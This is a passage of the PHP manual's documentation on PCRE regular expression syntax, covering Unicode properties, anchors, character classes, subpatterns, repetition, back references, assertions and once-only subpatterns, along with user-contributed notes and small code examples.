The pattern "/\\A/" may be replaced by "/\\\A/" in order to match a "\A" string. Any other escaped "\" looks to work fine so you can use "/\\S/", for instance, to match a "\S" string.
info at silisoftware dot com 28-Apr-2013 12:28
Whitespace matched by \s means only these 5 characters:
 9 = 0x09 = horizontal tab
10 = 0x0A = line feed
12 = 0x0C = form feed
13 = 0x0D = carriage return
32 = 0x20 = space
mike at eastghost dot com 28-Mar-2012 04:25
"line break" is ill-defined:

 -- Windows uses CR+LF (\r\n)
 -- Linux LF (\n)
 -- OSX CR (\r)

Little-known special character:
\R in preg_* matches all three.

preg_match( '/^\R$/', "match\nany\\n\rline\r\nending\r" ); // match any line endings
grigor at the domain gatchev.info 22-Jun-2011 10:59
As \v matches both single char line ends (CR, LF) and double char (CR+LF, LF+CR), it is not a fixed length atom (eg. is not allowed in lookbehind assertions).


Unicode character properties

Since 5.1.0, three additional escape sequences to match generic character types are available when UTF-8 mode is selected. They are:

\p{xx}
a character with the xx property
\P{xx}
a character without the xx property
\X
an extended Unicode sequence

The property names represented by xx above are limited to the Unicode general category properties. Each character has exactly one such property, specified by a two-letter abbreviation. For compatibility with Perl, negation can be specified by including a circumflex between the opening brace and the property name. For example, \p{^Lu} is the same as \P{Lu}.

If only one letter is specified with \p or \P, it includes all the properties that start with that letter. In this case, in the absence of negation, the curly brackets in the escape sequence are optional; these two examples have the same effect:

\p{L}
\pL

Supported property codes
Property | Matches | Notes
C | Other |
Cc | Control |
Cf | Format |
Cn | Unassigned |
Co | Private use |
Cs | Surrogate |
L | Letter | Includes the following properties: Ll, Lm, Lo, Lt and Lu.
Ll | Lower case letter |
Lm | Modifier letter |
Lo | Other letter |
Lt | Title case letter |
Lu | Upper case letter |
M | Mark |
Mc | Spacing mark |
Me | Enclosing mark |
Mn | Non-spacing mark |
N | Number |
Nd | Decimal number |
Nl | Letter number |
No | Other number |
P | Punctuation |
Pc | Connector punctuation |
Pd | Dash punctuation |
Pe | Close punctuation |
Pf | Final punctuation |
Pi | Initial punctuation |
Po | Other punctuation |
Ps | Open punctuation |
S | Symbol |
Sc | Currency symbol |
Sk | Modifier symbol |
Sm | Mathematical symbol |
So | Other symbol |
Z | Separator |
Zl | Line separator |
Zp | Paragraph separator |
Zs | Space separator |

Extended properties such as InMusicalSymbols are not supported by PCRE.

Specifying case-insensitive (caseless) matching does not affect these escape sequences. For example, \p{Lu} always matches only upper case letters.

Sets of Unicode characters are defined as belonging to certain scripts. A character from one of these sets can be matched using a script name. For example:

  • \p{Greek}
  • \P{Han}

Those that are not part of an identified script are lumped together as Common. The current list of scripts is:

Supported scripts
Arabic | Armenian | Avestan | Balinese | Bamum
Batak | Bengali | Bopomofo | Brahmi | Braille
Buginese | Buhid | Canadian_Aboriginal | Carian | Chakma
Cham | Cherokee | Common | Coptic | Cuneiform
Cypriot | Cyrillic | Deseret | Devanagari | Egyptian_Hieroglyphs
Ethiopic | Georgian | Glagolitic | Gothic | Greek
Gujarati | Gurmukhi | Han | Hangul | Hanunoo
Hebrew | Hiragana | Imperial_Aramaic | Inherited | Inscriptional_Pahlavi
Inscriptional_Parthian | Javanese | Kaithi | Kannada | Katakana
Kayah_Li | Kharoshthi | Khmer | Lao | Latin
Lepcha | Limbu | Linear_B | Lisu | Lycian
Lydian | Malayalam | Mandaic | Meetei_Mayek | Meroitic_Cursive
Meroitic_Hieroglyphs | Miao | Mongolian | Myanmar | New_Tai_Lue
Nko | Ogham | Old_Italic | Old_Persian | Old_South_Arabian
Old_Turkic | Ol_Chiki | Oriya | Osmanya | Phags_Pa
Phoenician | Rejang | Runic | Samaritan | Saurashtra
Sharada | Shavian | Sinhala | Sora_Sompeng | Sundanese
Syloti_Nagri | Syriac | Tagalog | Tagbanwa | Tai_Le
Tai_Tham | Tai_Viet | Takri | Tamil | Telugu
Thaana | Thai | Tibetan | Tifinagh | Ugaritic
Vai | Yi |  |  |

The \X escape matches a Unicode extended grapheme cluster. An extended grapheme cluster is one or more Unicode characters that combine to form a single glyph. In effect, this can be thought of as the Unicode equivalent of . as it will match one composed character, regardless of how many individual characters are actually used to render it.

In versions of PCRE older than 8.32 (which corresponds to PHP versions before 5.4.14 when using the bundled PCRE library), \X is equivalent to (?>\PM\pM*). That is, it matches a character without the "mark" property, followed by zero or more characters with the "mark" property, and treats the sequence as an atomic group (see below). Characters with the "mark" property are typically accents that affect the preceding character.

Matching characters by Unicode property is not fast, because PCRE has to search a structure that contains data for over fifteen thousand characters. That is why the traditional escape sequences such as \d and \w do not use Unicode properties in PCRE.

User Contributed Notes

xuantoaiph at gmail dot com 24-Dec-2013 05:03
My country, Vietnam, have our own alphabet table:
http://en.wikipedia.org/wiki/Vietnamese_alphabet
I hope PHP will support better than in Vietnamese.
Yzmir Ramirez 12-Oct-2013 04:51
If you are working with older environments you will need to first check to see if the version of PCRE will work with unicode directives described above:

<?php

// Need to check PCRE version because some environments are
// running older versions of the PCRE library
// (run in *nix environment `pcretest -C`)

$allowInternational = false;
if (defined('PCRE_VERSION')) {
    if (intval(PCRE_VERSION) >= 7) { // constant available since PHP 5.2.4
        $allowInternational = true;
    }
}
?>

Now you can do a fallback regex (e.g. use "/[a-z]/i"), when the PCRE library version is too old or not available.
o_shes01 at uni-muenster dot de 22-Jan-2011 03:23
For those who wonder: 'letter_titlecase' applies to digraphs/trigraphs, where capitalization involves only the first letter.
For example, there are three codepoints for the "LJ" digraph in Unicode:
  (*) uppercase "LJ": U+01C7
  (*) titlecase "Lj": U+01C8
  (*) lowercase "lj": U+01C9
o_shes01 at uni-muenster dot de 21-Jan-2011 07:08
For those who wonder: 'letter_titlecase' applies to digraphs/trigraphs, where capitalization involves only the first letter.
For example, there are three codepoints for the "LJ" digraph in Unicode:
  (*) uppercase "LJ": U+01C7
  (*) titlecase "Lj": U+01C8
  (*) lowercase "lj": U+01C9
mercury at caucasus dot net 08-May-2010 07:32
An excellent article explaining all these properties can be found here: http://www.regular-expressions.info/unicode.html
suit at rebell dot at 01-Mar-2010 02:13
these properties are usualy only available if PCRE is compiled with "--enable-unicode-properties"

if you want to match any word but want to provide a fallback, you can do something like that:

<?php
if(@preg_match_all('/\p{L}+/u', $str, $arr) {
  // fallback goes here
  // for example just '/\w+/u' for a less acurate match
}
?>


Anchors

Outside a character class, in the default matching mode, the circumflex character (^) is an assertion which is true only if the current matching point is at the start of the subject string. Inside a character class, circumflex (^) has an entirely different meaning (see below).

Circumflex (^) need not be the first character of the pattern if a number of alternatives are involved, but it should be the first thing in each alternative in which it appears if the pattern is ever to match that branch. If all possible alternatives start with a circumflex (^), that is, if the pattern is constrained to match only at the start of the subject, it is said to be an "anchored" pattern. (There are also other constructs that can cause a pattern to be anchored.)

A dollar character ($) is an assertion which is TRUE only if the current matching point is at the end of the subject string, or immediately before a newline character that is the last character in the string (by default). Dollar ($) need not be the last character of the pattern if a number of alternatives are involved, but it should be the last item in any branch in which it appears. Dollar has no special meaning in a character class.

The meaning of dollar can be changed so that it matches only at the very end of the string, by setting the PCRE_DOLLAR_ENDONLY option at compile or matching time. This does not affect the \Z assertion.

The meanings of the circumflex and dollar characters are changed if the PCRE_MULTILINE option is set. When this is the case, they match immediately after and immediately before an internal "\n" character, respectively, in addition to matching at the start and end of the subject string. For example, the pattern /^abc$/ matches the subject string "def\nabc" in multiline mode, but not otherwise. Consequently, patterns that are anchored in single line mode because all branches start with "^" are not anchored in multiline mode. The PCRE_DOLLAR_ENDONLY option is ignored if PCRE_MULTILINE is set.

Note that the sequences \A, \Z, and \z can be used to match the start and end of the subject in both modes, and if all branches of a pattern start with \A is it always anchored, whether PCRE_MULTILINE is set or not.

User Contributed Notes

There are no user contributed notes for this page.


Dot

Outside a character class, a dot in the pattern matches any one character in the subject, including a non-printing character, but not (by default) newline. If the PCRE_DOTALL option is set, then dots match newlines as well. The handling of dot is entirely independent of the handling of circumflex and dollar, the only relationship being that they both involve newline characters. Dot has no special meaning in a character class.

\C can be used to match single byte. It makes sense in UTF-8 mode where full stop matches the whole character which can consist of multiple bytes.

User Contributed Notes

Anonymous 02-Feb-2011 12:46
Consider,

        preg_match_all("/<img.*>/", $htmlfile, $match);

Since PCRE_DOTALL is not used, this pattern is expected to NOT make matches across multiple lines.  However, in somecases it can, depending on the PCRE default settings and your data ($htmlfile).  The problem is that some are set to recognize NEWLINES differently.
To fix this use,

        preg_match_all("/(*ANY)<img.*>/", $htmlfile, $match);

Now, any character that could possibly be seen as a newline will be interpreted as a newline by the PCRE.
NOTE: This pattern has been available since PCRE version 7.3


Character classes

An opening square bracket introduces a character class, terminated by a closing square bracket. A closing square bracket on its own is not special. If a closing square bracket is required as a member of the class, it should be the first data character in the class (after an initial circumflex, if present) or escaped with a backslash.

A character class matches a single character in the subject; the character must be in the set of characters defined by the class, unless the first character in the class is a circumflex, in which case the subject character must not be in the set defined by the class. If a circumflex is actually required as a member of the class, ensure it is not the first character, or escape it with a backslash.

For example, the character class [aeiou] matches any lower case vowel, while [^aeiou] matches any character that is not a lower case vowel. Note that a circumflex is just a convenient notation for specifying the characters which are in the class by enumerating those that are not. It is not an assertion: it still consumes a character from the subject string, and fails if the current pointer is at the end of the string.

When case-insensitive (caseless) matching is set, any letters in a class represent both their upper case and lower case versions, so for example, an insensitive [aeiou] matches "A" as well as "a", and an insensitive [^aeiou] does not match "A", whereas a sensitive (caseful) version would.

The newline character is never treated in any special way in character classes, whatever the setting of the PCRE_DOTALL or PCRE_MULTILINE options is. A class such as [^a] will always match a newline.

The minus (hyphen) character can be used to specify a range of characters in a character class. For example, [d-m] matches any letter between d and m, inclusive. If a minus character is required in a class, it must be escaped with a backslash or appear in a position where it cannot be interpreted as indicating a range, typically as the first or last character in the class.

It is not possible to have the literal character "]" as the end character of a range. A pattern such as [W-]46] is interpreted as a class of two characters ("W" and "-") followed by a literal string "46]", so it would match "W46]" or "-46]". However, if the "]" is escaped with a backslash it is interpreted as the end of range, so [W-\]46] is interpreted as a single class containing a range followed by two separate characters. The octal or hexadecimal representation of "]" can also be used to end a range.

Ranges operate in ASCII collating sequence. They can also be used for characters specified numerically, for example [\000-\037]. If a range that includes letters is used when case-insensitive (caseless) matching is set, it matches the letters in either case. For example, [W-c] is equivalent to [][\^_`wxyzabc], matched case-insensitively, and if character tables for the "fr" locale are in use, [\xc8-\xcb] matches accented E characters in both cases.

The character types \d, \D, \s, \S, \w, and \W may also appear in a character class, and add the characters that they match to the class. For example, [\dABCDEF] matches any hexadecimal digit. A circumflex can conveniently be used with the upper case character types to specify a more restricted set of characters than the matching lower case type. For example, the class [^\W_] matches any letter or digit, but not underscore.

All non-alphanumeric characters other than \, -, ^ (at the start) and the terminating ] are non-special in character classes, but it does no harm if they are escaped. The pattern terminator is always special and must be escaped when used within an expression.

Perl supports the POSIX notation for character classes. This uses names enclosed by [: and :] within the enclosing square brackets. PCRE also supports this notation. For example, [01[:alpha:]%] matches "0", "1", any alphabetic character, or "%". The supported class names are:

Character classes
alnum | letters and digits
alpha | letters
ascii | character codes 0 - 127
blank | space or tab only
cntrl | control characters
digit | decimal digits (same as \d)
graph | printing characters, excluding space
lower | lower case letters
print | printing characters, including space
punct | printing characters, excluding letters and digits
space | white space (not quite the same as \s)
upper | upper case letters
word | "word" characters (same as \w)
xdigit | hexadecimal digits
The space characters are HT (9), LF (10), VT (11), FF (12), CR (13), and space (32). Notice that this list includes the VT character (code 11). This makes "space" different to \s, which does not include VT (for Perl compatibility).

The name word is a Perl extension, and blank is a GNU extension from Perl 5.8. Another Perl extension is negation, which is indicated by a ^ character after the colon. For example, [12[:^digit:]] matches "1", "2", or any non-digit.

In UTF-8 mode, characters with values greater than 128 do not match any of the POSIX character classes.

User Contributed Notes

top15 at safetymail dot info 18-Apr-2012 11:53
[A-z] does what you expect, if you are expecting it to match ^,`, square brackets, _ and \, as these characters occur between upper and lowercase characters in ASCII
Richard 15-Apr-2011 02:50
Tip:  [a-Z]  does not do what one might expect, i.e. [a-zA-Z]


Alternation

Vertical bar characters are used to separate alternative patterns. For example, the pattern gilbert|sullivan matches either "gilbert" or "sullivan". Any number of alternatives may appear, and an empty alternative is permitted (matching the empty string). The matching process tries each alternative in turn, from left to right, and the first one that succeeds is used. If the alternatives are within a subpattern (defined below), "succeeds" means matching the rest of the main pattern as well as the alternative in the subpattern.

User Contributed Notes

There are no user contributed notes for this page.


Internal option setting

The settings of PCRE_CASELESS, PCRE_MULTILINE, PCRE_DOTALL, PCRE_UNGREEDY, PCRE_EXTRA, PCRE_EXTENDED and PCRE_DUPNAMES can be changed from within the pattern by a sequence of Perl option letters enclosed between "(?" and ")". The option letters are:

Internal option letters
i | for PCRE_CASELESS
m | for PCRE_MULTILINE
s | for PCRE_DOTALL
x | for PCRE_EXTENDED
U | for PCRE_UNGREEDY
X | for PCRE_EXTRA
J | for PCRE_INFO_JCHANGED

For example, (?im) sets case-insensitive (caseless), multiline matching. It is also possible to unset these options by preceding the letter with a hyphen, and a combined setting and unsetting such as (?im-sx), which sets PCRE_CASELESS and PCRE_MULTILINE while unsetting PCRE_DOTALL and PCRE_EXTENDED, is also permitted. If a letter appears both before and after the hyphen, the option is unset.

When an option change occurs at top level (that is, not inside subpattern parentheses), the change applies to the remainder of the pattern that follows. So /ab(?i)c/ matches only "abc" and "abC".

If an option change occurs inside a subpattern, the effect is different. This is a change of behaviour in Perl 5.005. An option change inside a subpattern affects only that part of the subpattern that follows it, so (a(?i)b)c matches abc and aBc and no other strings (assuming PCRE_CASELESS is not used). By this means, options can be made to have different settings in different parts of the pattern. Any changes made in one alternative do carry on into subsequent branches within the same subpattern. For example, (a(?i)b|c) matches "ab", "aB", "c", and "C", even though when matching "C" the first branch is abandoned before the option setting. This is because the effects of option settings happen at compile time. There would be some very weird behaviour otherwise.

The PCRE-specific options PCRE_UNGREEDY and PCRE_EXTRA can be changed in the same way as the Perl-compatible options by using the characters U and X respectively. The (?X) flag setting is special in that it must always occur earlier in the pattern than any of the additional features it turns on, even when it is at top level. It is best put at the start.

User Contributed Notes

mike at clove dot com 18-Mar-2010 04:48
When using the (?i:foo) syntax, it appears that the group is not included in the 'matches' argument unless it is nested in an additional set of parenthesis, for example: ((?i:foo))
mati_ at zenbe dot com 07-Jul-2009 09:14
There is also the possibility to enable Modifier only on a specific group, so that the Modifier doesn't stay valid until end or deactivation with "(?-<modifier>)".

The Syntax for that is "?<modifier>:" on the beginning of the group, i.e. (?i:foo) matches on FoO.


Subpatterns

Subpatterns are delimited by parentheses (round brackets), which can be nested. Marking part of a pattern as a subpattern does two things:

  1. It localizes a set of alternatives. For example, the pattern cat(aract|erpillar|) matches one of the words "cat", "cataract", or "caterpillar". Without the parentheses, it would match "cataract", "erpillar" or the empty string.

  2. It sets up the subpattern as a capturing subpattern (as defined above). When the whole pattern matches, that portion of the subject string that matched the subpattern is passed back to the caller via the ovector argument of pcre_exec(). Opening parentheses are counted from left to right (starting from 1) to obtain the numbers of the capturing subpatterns.

For example, if the string "the red king" is matched against the pattern the ((red|white) (king|queen)) the captured substrings are "red king", "red", and "king", and are numbered 1, 2, and 3.

The fact that plain parentheses fulfill two functions is not always helpful. There are often times when a grouping subpattern is required without a capturing requirement. If an opening parenthesis is followed by "?:", the subpattern does not do any capturing, and is not counted when computing the number of any subsequent capturing subpatterns. For example, if the string "the white queen" is matched against the pattern the ((?:red|white) (king|queen)) the captured substrings are "white queen" and "queen", and are numbered 1 and 2. The maximum number of captured substrings is 65535.

As a convenient shorthand, if any option settings are required at the start of a non-capturing subpattern, the option letters may appear between the "?" and the ":". Thus the two patterns

(?i:saturday|sunday)
(?:(?i)saturday|sunday)

match exactly the same set of strings. Because alternative branches are tried from left to right, and options are not reset until the end of the subpattern is reached, an option setting in one branch does affect subsequent branches, so the above patterns match "SUNDAY" as well as "Saturday".

It is possible to name a subpattern using the syntax (?P<name>pattern). This subpattern will then be indexed in the matches array by its normal numeric position and also by name. PHP 5.2.2 introduced two alternative syntaxes (?<name>pattern) and (?'name'pattern).

Sometimes it is necessary to have multiple matching, but alternating subgroups in a regular expression. Normally, each of these would be given their own backreference number even though only one of them would ever possibly match. To overcome this, the (?| syntax allows having duplicate numbers. Consider the following regex matched against the string Sunday:

(?:(Sat)ur|(Sun))day

Here Sun is stored in backreference 2, while backreference 1 is empty. Matching yields Sat in backreference 1 while backreference 2 does not exist. Changing the pattern to use the (?| fixes this problem:

(?|(Sat)ur|(Sun))day

Using this pattern, both Sun and Sat would be stored in backreference 1.

User Contributed Notes

There are no user contributed notes for this page.


Repetition

Repetition is specified by quantifiers, which can follow any of the following items:

  • a single character, possibly escaped
  • the . metacharacter
  • a character class
  • a back reference (see next section)
  • a parenthesized subpattern (unless it is an assertion - see below)

The general repetition quantifier specifies a minimum and maximum number of permitted matches, by giving the two numbers in curly brackets (braces), separated by a comma. The numbers must be less than 65536, and the first must be less than or equal to the second. For example: z{2,4} matches "zz", "zzz", or "zzzz". A closing brace on its own is not a special character. If the second number is omitted, but the comma is present, there is no upper limit; if the second number and the comma are both omitted, the quantifier specifies an exact number of required matches. Thus [aeiou]{3,} matches at least 3 successive vowels, but may match many more, while \d{8} matches exactly 8 digits. An opening curly bracket that appears in a position where a quantifier is not allowed, or one that does not match the syntax of a quantifier, is taken as a literal character. For example, {,6} is not a quantifier, but a literal string of four characters.

The quantifier {0} is permitted, causing the expression to behave as if the previous item and the quantifier were not present.

For convenience (and historical compatibility) the three most common quantifiers have single-character abbreviations:

Single-character quantifiers
* | equivalent to {0,}
+ | equivalent to {1,}
? | equivalent to {0,1}

It is possible to construct infinite loops by following a subpattern that can match no characters with a quantifier that has no upper limit, for example: (a?)*

Earlier versions of Perl and PCRE used to give an error at compile time for such patterns. However, because there are cases where this can be useful, such patterns are now accepted, but if any repetition of the subpattern does in fact match no characters, the loop is forcibly broken.

By default, the quantifiers are "greedy", that is, they match as much as possible (up to the maximum number of permitted times), without causing the rest of the pattern to fail. The classic example of where this gives problems is in trying to match comments in C programs. These appear between the sequences /* and */ and within the sequence, individual * and / characters may appear. An attempt to match C comments by applying the pattern /\*.*\*/ to the string /* first comment */ not comment /* second comment */ fails, because it matches the entire string due to the greediness of the .* item.

However, if a quantifier is followed by a question mark, then it becomes lazy, and instead matches the minimum number of times possible, so the pattern /\*.*?\*/ does the right thing with the C comments. The meaning of the various quantifiers is not otherwise changed, just the preferred number of matches. Do not confuse this use of question mark with its use as a quantifier in its own right. Because it has two uses, it can sometimes appear doubled, as in \d??\d which matches one digit by preference, but can match two if that is the only way the rest of the pattern matches.

If the PCRE_UNGREEDY option is set (an option which is not available in Perl) then the quantifiers are not greedy by default, but individual ones can be made greedy by following them with a question mark. In other words, it inverts the default behaviour.

Quantifiers followed by + are "possessive". They eat as many characters as possible and don't return to match the rest of the pattern. Thus .*abc matches "aabc" but .*+abc doesn't because .*+ eats the whole string. Possessive quantifiers can be used to speed up processing.

When a parenthesized subpattern is quantified with a minimum repeat count that is greater than 1 or with a limited maximum, more store is required for the compiled pattern, in proportion to the size of the minimum or maximum.

If a pattern starts with .* or .{0,} and the PCRE_DOTALL option (equivalent to Perl's /s) is set, thus allowing the . to match newlines, then the pattern is implicitly anchored, because whatever follows will be tried against every character position in the subject string, so there is no point in retrying the overall match at any position after the first. PCRE treats such a pattern as though it were preceded by \A. In cases where it is known that the subject string contains no newlines, it is worth setting PCRE_DOTALL when the pattern begins with .* in order to obtain this optimization, or alternatively using ^ to indicate anchoring explicitly.

When a capturing subpattern is repeated, the value captured is the substring that matched the final iteration. For example, after (tweedle[dume]{3}\s*)+ has matched "tweedledum tweedledee" the value of the captured substring is "tweedledee". However, if there are nested capturing subpatterns, the corresponding captured values may have been set in previous iterations. For example, after /(a|(b))+/ matches "aba" the value of the second captured substring is "b".

User Contributed Notes

There are no user contributed notes for this page.


Back references

Outside a character class, a backslash followed by a digit greater than 0 (and possibly further digits) is a back reference to a capturing subpattern earlier (i.e. to its left) in the pattern, provided there have been that many previous capturing left parentheses.

However, if the decimal number following the backslash is less than 10, it is always taken as a back reference, and causes an error only if there are not that many capturing left parentheses in the entire pattern. In other words, the parentheses that are referenced need not be to the left of the reference for numbers less than 10. A "forward back reference" can make sense when a repetition is involved and the subpattern to the right has participated in an earlier iteration. See the section entitled "Backslash" above for further details of the handling of digits following a backslash.

A back reference matches whatever actually matched the capturing subpattern in the current subject string, rather than anything matching the subpattern itself. So the pattern (sens|respons)e and \1ibility matches "sense and sensibility" and "response and responsibility", but not "sense and responsibility". If case-sensitive (caseful) matching is in force at the time of the back reference, then the case of letters is relevant. For example, ((?i)rah)\s+\1 matches "rah rah" and "RAH RAH", but not "RAH rah", even though the original capturing subpattern is matched case-insensitively (caselessly).

There may be more than one back reference to the same subpattern. If a subpattern has not actually been used in a particular match, then any back references to it always fail. For example, the pattern (a|(bc))\2 always fails if it starts to match "a" rather than "bc". Because there may be up to 99 back references, all digits following the backslash are taken as part of a potential back reference number. If the pattern continues with a digit character, then some delimiter must be used to terminate the back reference. If the PCRE_EXTENDED option is set, this can be whitespace. Otherwise an empty comment can be used.

A back reference that occurs inside the parentheses to which it refers fails when the subpattern is first used, so, for example, (a\1) never matches. However, such references can be useful inside repeated subpatterns. For example, the pattern (a|b\1)+ matches any number of "a"s and also "aba", "ababba" etc. At each iteration of the subpattern, the back reference matches the character string corresponding to the previous iteration. In order for this to work, the pattern must be such that the first iteration does not need to match the back reference. This can be done using alternation, as in the example above, or by a quantifier with a minimum of zero.

As of PHP 5.2.2, the \g escape sequence can be used for absolute and relative referencing of subpatterns. This escape sequence must be followed by an unsigned number or a negative number, optionally enclosed in braces. The sequences \1, \g1 and \g{1} are synonymous with one another. The use of this pattern with an unsigned number can help remove the ambiguity inherent when using digits following a backslash. The sequence helps to distinguish back references from octal characters and also makes it easier to have a back reference followed by a literal number, e.g. \g{2}1.

The use of the \g sequence with a negative number signifies a relative reference. For example, (foo)(bar)\g{-1} would match the sequence "foobarbar" and (foo)(bar)\g{-2} matches "foobarfoo". This can be useful in long patterns as an alternative to keeping track of the number of subpatterns in order to reference a specific previous subpattern.

Back references to the named subpatterns can be achieved by (?P=name) or, since PHP 5.2.2, also by \k<name> or \k'name'. Additionally PHP 5.2.4 added support for \k{name} and \g{name}.

User Contributed Notes

There are no user contributed notes for this page.


Assertions

An assertion is a test on the characters following or preceding the current matching point that does not actually consume any characters. The simple assertions coded as \b, \B, \A, \Z, \z, ^ and $ are described above. More complicated assertions are coded as subpatterns. There are two kinds: those that look ahead of the current position in the subject string, and those that look behind it.

An assertion subpattern is matched in the normal way, except that it does not cause the current matching position to be changed. Lookahead assertions start with (?= for positive assertions and (?! for negative assertions. For example, \w+(?=;) matches a word followed by a semicolon, but does not include the semicolon in the match, and foo(?!bar) matches any occurrence of "foo" that is not followed by "bar". Note that the apparently similar pattern (?!foo)bar does not find an occurrence of "bar" that is preceded by something other than "foo"; it finds any occurrence of "bar" whatsoever, because the assertion (?!foo) is always TRUE when the next three characters are "bar". A lookbehind assertion is needed to achieve this effect.

Lookbehind assertions start with (?<= for positive assertions and (?<! for negative assertions. For example, (?<!foo)bar does find an occurrence of "bar" that is not preceded by "foo". The contents of a lookbehind assertion are restricted such that all the strings it matches must have a fixed length. However, if there are several alternatives, they do not all have to have the same fixed length. Thus (?<=bullock|donkey) is permitted, but (?<!dogs?|cats?) causes an error at compile time. Branches that match different length strings are permitted only at the top level of a lookbehind assertion. This is an extension compared with Perl 5.005, which requires all branches to match the same length of string. An assertion such as (?<=ab(c|de)) is not permitted, because its single top-level branch can match two different lengths, but it is acceptable if rewritten to use two top-level branches: (?<=abc|abde) The implementation of lookbehind assertions is, for each alternative, to temporarily move the current position back by the fixed width and then try to match. If there are insufficient characters before the current position, the match is deemed to fail. Lookbehinds in conjunction with once-only subpatterns can be particularly useful for matching at the ends of strings; an example is given at the end of the section on once-only subpatterns.

Several assertions (of any sort) may occur in succession. For example, (?<=\d{3})(?<!999)foo matches "foo" preceded by three digits that are not "999". Notice that each of the assertions is applied independently at the same point in the subject string. First there is a check that the previous three characters are all digits, then there is a check that the same three characters are not "999". This pattern does not match "foo" preceded by six characters, the first of which are digits and the last three of which are not "999". For example, it doesn't match "123abcfoo". A pattern to do that is (?<=\d{3}...)(?<!999)foo

This time the first assertion looks at the preceding six characters, checking that the first three are digits, and then the second assertion checks that the preceding three characters are not "999".

Assertions can be nested in any combination. For example, (?<=(?<!foo)bar)baz matches an occurrence of "baz" that is preceded by "bar" which in turn is not preceded by "foo", while (?<=\d{3}...(?<!999))foo is another pattern which matches "foo" preceded by three digits and any three characters that are not "999".

Assertion subpatterns are not capturing subpatterns, and may not be repeated, because it makes no sense to assert the same thing several times. If any kind of assertion contains capturing subpatterns within it, these are counted for the purposes of numbering the capturing subpatterns in the whole pattern. However, substring capturing is carried out only for positive assertions, because it does not make sense for negative assertions.

Assertions count towards the maximum of 200 parenthesized subpatterns.

User Contributed Notes

daevid at daevid dot com 30-May-2013 06:02
removes // comments but NOT the stuff after http://

$sBlob = preg_replace("@\s*(?<!:)//.*?$@m",'',$sBlob);

Although, as Sean Greenslade pointed out, it will fail in this EDGE case since the comments are within quotes, but who does that anyways?

"Lol slashes // are // fun";


Once-only subpatterns

With both maximizing and minimizing repetition, failure of what follows normally causes the repeated item to be re-evaluated to see if a different number of repeats allows the rest of the pattern to match. Sometimes it is useful to prevent this, either to change the nature of the match, or to cause it fail earlier than it otherwise might, when the author of the pattern knows there is no point in carrying on.

Consider, for example, the pattern \d+foo when applied to the subject line 123456bar

After matching all 6 digits and then failing to match "foo", the normal action of the matcher is to try again with only 5 digits matching the \d+ item, and then with 4, and so on, before ultimately failing. Once-only subpatterns provide the means for specifying that once a portion of the pattern has matched, it is not to be re-evaluated in this way, so the matcher would give up immediately on failing to match "foo" the first time. The notation is another kind of special parenthesis, starting with (?> as in this example: (?>\d+)bar

This kind of parenthesis "locks up" the part of the pattern it contains once it has matched, and a failure further into the pattern is prevented from backtracking into it. Backtracking past it to previous items, however, works as normal.

An alternative description is that a subpattern of this type matches the string of characters that an identical standalone pattern would match, if anchored at the current point in the subject string.

Once-only subpatterns are not capturing subpatterns. Simple cases such as the above example can be thought of as a maximizing repeat that must swallow everything it can. So, while both \d+ and \d+? are prepared to adjust the number of digits they match in order to make the rest of the pattern match, (?>\d+) can only match an entire sequence of digits.

This construction can of course contain arbitrarily complicated subpatterns, and it can be nested.

Once-only subpatterns can be used in conjunction with lookbehind assertions to specify efficient matching at the end of the subject string. Consider a simple pattern such as abcd$ when applied to a long string which does not match. Because matching proceeds from left to right, PCRE will look for each "a" in the subject and then see if what follows matches the rest of the pattern. If the pattern is specified as ^.*abcd$ then the initial .* matches the entire string at first, but when this fails (because there is no following "a"), it backtracks to match all but the last character, then all but the last two characters, and so on. Once again the search for "a" covers the entire string, from right to left, so we are no better off. However, if the pattern is written as ^(?>.*)(?<=abcd) then there can be no backtracking for the .* item; it can match only the entire string. The subsequent lookbehind assertion does a single test on the last four characters. If it fails, the match fails immediately. For long strings, this approach makes a significant difference to the processing time.

When a pattern contains an unlimited repeat inside a subpattern that can itself be repeated an unlimited number of times, the use of a once-only subpattern is the only way to avoid some failing matches taking a very long time indeed. The pattern (\D+|<\d+>)*[!?] matches an unlimited number of substrings that either consist of non-digits, or digits enclosed in <>, followed by either ! or ?. When it matches, it runs quickly. However, if it is applied to aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa it takes a long time before reporting failure. This is because the string can be divided between the two repeats in a large number of ways, and all have to be tried. (The example used [!?] rather than a single character at the end, because both PCRE and Perl have an optimization that allows for fast failure when a single character is used. They remember the last single character that is required for a match, and fail early if it is not present in the string.) If the pattern is changed to ((?>\D+)|<\d+>)*[!?] sequences of non-digits cannot be broken, and failure happens quickly.

User Contributed Notes

Pedro Gimeno 28-Mar-2014 03:41
The comment by northhero at gmail dot com below is wrong.

<?php

$pattern1 = '((?>\D+)|<\d+>)*[!?]';
$pattern2 = '(\D+|<\d+>)*[!?]';
$subject = 'aaaaaaaaaaaa!';

var_dump(preg_match('/' . $pattern1 . '/', $subject, $match));
var_dump($match);
var_dump(preg_match('/' . $pattern1 . '/', $subject, $match));
var_dump($match);
?>

Output:

int(1)
array(1) {
  [0]=>
  string(1) "!"
}
int(1)
array(1) {
  [0]=>
  string(1) "!"
}

Both match.
northhero at gmail dot com 19-Jun-2011 10:54
The following two patterns are not equal to each other:
(\D+|<\d+>)*[!?]   and   ((?>\D+)|<\d+>)*[!?]

For example
The former matches the string of 'aaaaaaaaaaaa!', but the later does NOT.


Conditional subpatterns

It is possible to cause the matching process to obey a subpattern conditionally or to choose between two alternative subpatterns, depending on the result of an assertion, or whether a previous capturing subpattern matched or not. The two possible forms of conditional subpattern are

(?(condition)yes-pattern)
(?(condition)yes-pattern|no-pattern)

If the condition is satisfied, the yes-pattern is used; otherwise the no-pattern (if present) is used. If there are more than two alternatives in the subpattern, a compile-time error occurs.

There are two kinds of condition. If the text between the parentheses consists of a sequence of digits, then the condition is satisfied if the capturing subpattern of that number has previously matched. Consider the following pattern, which contains non-significant white space to make it more readable (assume the PCRE_EXTENDED option) and to divide it into three parts for ease of discussion:

( \( )?    [^()]+    (?(1) \) )

The first part matches an optional opening parenthesis, and if that character is present, sets it as the first captured substring. The second part matches one or more characters that are not parentheses. The third part is a conditional subpattern that tests whether the first set of parentheses matched or not. If they did, that is, if subject started with an opening parenthesis, the condition is TRUE, and so the yes-pattern is executed and a closing parenthesis is required. Otherwise, since no-pattern is not present, the subpattern matches nothing. In other words, this pattern matches a sequence of non-parentheses, optionally enclosed in parentheses.

If the condition is the string (R), it is satisfied if a recursive call to the pattern or subpattern has been made. At "top level", the condition is false.

